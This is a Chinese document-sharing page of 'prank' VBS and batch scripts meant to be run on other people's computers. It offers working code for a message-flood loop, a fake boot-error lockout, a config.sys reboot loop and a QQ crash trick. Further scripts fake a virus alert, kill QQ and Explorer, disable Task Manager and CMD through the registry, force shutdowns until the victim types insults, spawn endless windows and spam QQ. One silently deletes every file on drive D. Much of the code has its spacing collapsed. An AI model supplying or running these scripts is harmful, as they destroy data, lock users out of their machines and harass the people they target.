VBS整人代码修改版.docx
- 文档编号:7739215
- 上传时间:2023-01-26
- 格式:DOCX
- 页数:31
- 大小:35.43KB
VBS整人代码修改版.docx
《VBS整人代码修改版.docx》由会员分享,可在线阅读,更多相关《VBS整人代码修改版.docx(31页珍藏版)》请在冰豆网上搜索。
VBS整人代码修改版
整人专用→电脑技术
这是从一些高手那里学来的招数,呵呵,真是好方法。
具体步骤是,打开记事本,在里面输入如下内容:
@echo正在轰炸中……
:
start
@netsend%1%2
@iferrorlevel1gotoovergotostart
:
over
@echo发送失败:
(
将其保存为任意名字的.bat文件即可。
使用用法是:
任意名字的.bat+空格+目标IP地址+空格+你要对他说的话。
NO.2戏弄非法用户
为防止有人胡乱使用自己的电脑,我们可以利用批处理文件来戏弄一下非法用户。
方法是用
记事本程序在Windows目录中建立一个Winstart.bat文件,并在该文件中加入以下命令:
@echooffechonon-systemdiskordiskerrorchoice/c:
&&/n
上面代码中的"&&"为我们设置的密码,您可以自行设置。
这样重新启动计算机开机时就会显示"non-systemdiskordiskerror",接着光标一闪一闪的好像死机了一样,造成非法用户以为Windows死机的假象。
有时就连高手也会上当受骗!
当我们要进入系统时,只要输入
"&&"即可。
NO.3我的电脑你别用
如果你不想让别人使用你的电脑,又不好意思说,那该怎么办呢?
在CMOS中设密码,太小气了吧?
他如果问你密码,你好意思不说吗?
其实,我们可以用下面这个办法来欺骗一下他的眼睛,使他人以为电脑坏了。
方法是:
进入MS-DOS方式或CMD窗口下,输入:
copyconnull.sys,按一下回车键,然后什么也别输入,再按一次回车键,按Ctrl+Z或按F6键,屏幕上会显示^z,按一下回车键,屏幕上会显示"1file(s)copied",这样就一个名为null.sys的空文件就建好了。
现在,找到C盘根目录下的config.sys文件,注意这个文件是隐藏属性,所以必须进入"我的电脑"中,点击"查看(v)"→"文件夹选项"→"查看"→"显示所有文件"才能看到它,然后右键单击该文件,在弹出菜单中选择"用记事本打开",接下来在config.sys文件中加入:
device=c:
\null.sys/d:
null这样一行,保存修改结果,退出记事本。
以后,你的电脑就会在出现Windows的启动画面时自动重新启动,如此反复下去,别人一定以为你的电脑出问题了,而你就可以偷偷乐
了.
100%强制关闭对方QQ,整人就这样
100%关闭强制对方QQ。
2010年1月9日测试可用。
要整人,就要整的狠一点!
如何呢?
要是在他/她聊QQ聊得正欢的时候,关闭她/他的QQ,是不是整的很过瘾呢?
下面这个方法,保证让你“遥控”她/他的QQ下线:
首先大家用手机下个07版的qq,登陆你的QQ,锁定目标QQ(前提是他QQ必须在线哦)后,马上用换用电脑上登录你的QQ,然后手机那个关了(为了防止自动刷新断线),然后随便在电脑上截张图(一定要是截图,不能使与啊不由得图片)发给他,好戏开始了,当对方打开,嘿嘿,他的QQ就马上被自动关了,他就不得不重新输入号码重上了。
为什么会这样呢?
据我猜测,可能是TX服务器不能及时同步你的QQ信息,、而手机是无法发送截图的,而导致在接收图片的过程中产生错误,这样就只有把对方的QQ给强制关。
###################vbs整人代码2###################
msgbox"要求:
"&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年怨情仇又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬大有血雨腥呼之欲来令人极为期待该小说之续集同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天有人来投稿全文只有九个字:
"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"msgbox"秃驴敢跟贫道抢师太",64,"投稿"
setws=createobject("wscript.shell")subsleep(s)wscript.sleeps*1000endsubsleep900
ws.popup"windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"WindowsXp",64sleep10
ws.popup"正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows
Xp",64
sleep900
ws.popup"windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64sleep3ws.run"taskkill/f/imqq.exe",vbhide:
sleep5ws.regwrite
"HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","0
0000001","REG_DWORD"wscript.sleep500ws.run"taskkill/f/imexplorer.exe",vbhide:
wscript.sleep2000ws.run"explorer.exe",vbhide:
wscript.sleep6000ws.run"notepad",3:
wscript.sleep2000ws.sendkeys"^":
wscript.sleep1000verybat=split("gongxi,ni,~,ni,yijing,bei,wo,kongzhi,le,~,ruguo,ni,zai,30miaozhong,nei,guanji,~,name,keneng,hai,youjiu,~,fouze,hahahaha
____youxi,kaishila,~,haole,wo,xianzai,yao,chuqu,yixia,~,yihui,wo,zailai,zhaoni,haizi,",",")foreachwindinverybatws.sendkeyswindwscript.sleep500next
###################vbs整人代码2###################setierunner=createobject("wscript.shell")ierunner.run"cmd/cstartiexplore自己的网站站wscript.sleep8000ierunner.sendkeys"%{F4}"onerrorresumenextdimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t3000-c""快说你爱我···""",0,truedimadowhile(a<>"我爱你")a=inputbox("说你爱我,就不关机,快点,说""我爱你""","说不说","不说",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,真过瘾"
###################vbs整人代码3###################sets=createobject("wscript.shell")
setbag=getobject("winmgmts:
\\.\root\cimv2")
setpipe=bag.execquery("select*fromwin32_processwherename='wscript.exe'")ForEachidinpipeifinstr(1,id.CommandLine,wscript.scriptfullname)<>0andpipe.count>=2then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_D
WORD"id.terminate()else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_D
WORD"fori=1to60
s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48
next
SetcolOS=GetObject("winmgmts:
{(Shutdown)}").ExecQuery("Select*FROM
Win32_OperatingSystem")ForEacheOsIncolOSeOs.Win32Shutdown
(2)NextendifNext
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可).xx.vbs=>
=---------------------------------------------------------------------------
OnErrorResumeNextDimwsh,ye
setwsh=createobject("wscript.shell")fori=1to10wscript.sleep700wsh.AppActivate("与xx聊天中")wsh.sendKeys"^v"wsh.sendKeysiwsh.sendKeys"%s"nextwscript.quit
----------------------------------------------------------------------------
QQ骚扰信息,也可以用在其它程序上。
2、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------------------------------------
domsgbox"Youarefoolish!
"loop
------------------------------------------------------------------------------
3、打开无数个计算器,直到死机
------------------------------------------------------------------------------setwsh=createobject("wscript.shell")dowsh.run"calc"loop
-----------------------------------------------------------------------------
4、直接关机
-----------------------------------------------------------------------------
dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"shutdown-f-s-t00",0,true
-----------------------------------------------------------------------------
5、删除D:
\所有文件
---------------------------------------------------------------------------dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")
WSHshell.run"cmd/c""deld:
\*.*/f/q/s""",0,true
----------------------------------------------------------------------------
6、不断弹出窗口
----------------------------------------------------------------------------while
(1)
msgbox"哈哈你被耍了!
"
loop
----------------------------------------------------------------------------
7、不断按下alt+f4(开什么都关闭……)
---------------------------------------------------------------------------dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")while
(1)
WSHshell.SendKeys"%{F4}"loop
---------------------------------------------------------------------------
8、按500次回车
(以上代码在运行者的电脑上显示500个对话框。
其中dountils=500,500可以随意更改)
-----------------------------------------------------------------------------
dimsdountils=10000s=s+1
msgbox"哥们,给我按10000次回车吧",64
loop
'------------------------
两个整人vbs代码:
测试环境:
Windows2003系统大家好我是VanlisaQQ137841986
今天给大家带来两个整人的VBS脚本希望大家喜欢VBS脚本大家都知道吧第一个是定时关机的如果把他发给你的QQ好友他不懂的话如果不输我是猪电脑就会在你设定的时间内关机我设置的是3分钟只要输入就解除了当然如果不输的话也有解除的办法我们来看下这个脚本
-------------------------------------------------------------------------------
-onerrorresumenextdimWSHshellA
setWSHshellA=wscript.createobject("wscript.shell")
WSHshellA.run"cmd.exe/cshutdown-r-t180-c""说我是猪,不说我是猪就一分钟关机,不信,试下···""",0,true
dimadowhile(a<>"我是猪")a=inputbox("说我是猪,就不关机,快撒,说""我是猪""","说不说","",8000,7000)
msgboxchr(13)+chr(13)+chr(13)+a,0,"MsgBox"loopmsgboxchr(13)+chr(13)+chr(13)+"早说就行了嘛"dimWSHshell
setWSHshell=wscript.createobject("wscript.shell")WSHshell.run"cmd.exe/cshutdown-a",0,truemsgboxchr(13)+chr(13)+chr(13)+"哈哈哈哈,好乖"
-------------------------------------------------------------------------------
-
新建一个记事本把上面的代码复制进去另存为VBE格式的就可以了
cmd.exe/cshutdown-r-t180-c这里的数字可以修改关机时间180秒这些文字也可以自设这个脚本启用cmd里的关机程序如果不输的的话可以打开任务管理器输入shutdown-a来解除我们试下这时定时关机已
经没了但是还有个关不掉的窗口我们打开任务管理器结束掉Wscript.exe这个进程就
OK
了这时就完全解除这个脚本了Wscript时Windows脚本宿主
-------------------------------------------------------------------------------
------------
下面看第二个整人的脚本
-------------------------------------------------------------------------------
------------
setws=createobject("wscript.shell")callshutdown
(1)dowhilea<>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负,快输""我是猪""","输不输
","")loopcallshutdown
(2)msgbox"早说就行了嘛",4096+64msgbox"再输一遍我是猪!
",4096+64msgbox"我是猪!
",4096+64MsgBox"最后一次!
",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!
哼!
",4096+64
MsgBox"从前有座山!
",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64ws.run"iexplore.exe自己的网站msgbox"哎呀累了!
数绵羊哄我睡觉",4096+64
fori=1to100
MsgBoxi&"只绵羊",4096+64next
msgbox"哎呀我困了,这次就饶过你吧,下次注意哦!
",4096+64msgbox"最后问个问题,我是不是大好人!
",4096+64ifinputbox("是不是","请选择","是")<>"是"thencallshutdown
(1)endifsubshutdown(s)selectcasescase1ws.run"cmd.exe/cshutdown-r-t60-c",0case2ws.run"cmd.exe/cshutdown-a",0endselectendsub
-------------------------------------------------------------------------------
-ws.run"iexplore.exe自己的网站
这段代码可以改成你自己设定的地址如果别人不输我是猪的话就会一直点下去点到你设定的数字fori=1to100
从1到100可以改成20其他的数字解除这个VBS脚本的办法就简单了只是关掉任务管理器里Wscript.exe这个进程就好了
QQ2009整人代码:
sets=createobject("wscript.shell")setbag=getobject("winmgmts:
\\.\root\cimv2")
setpipe=bag.execquery("select*fromwin32_processwherename='wscript.exe'")ForEachidinpipe
ifinstr(1,mandLine,wscript.scriptfullname)<>0andpipe.count>=2then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_D
WORD"id.terminate()else
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_D
WORD"fori=1to60
s.popup"系统将在"&60-i&"秒后关机...",1,"系统提示",4096+48
next
SetcolOS=GetObject("winmgmts:
{(Shutdown)}").ExecQuery("Select*FROM
Win32_OperatingSystem")ForEacheOsI
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- VBS 整人 代码 修改
![提示](https://static.bdocx.com/images/bang_tan.gif)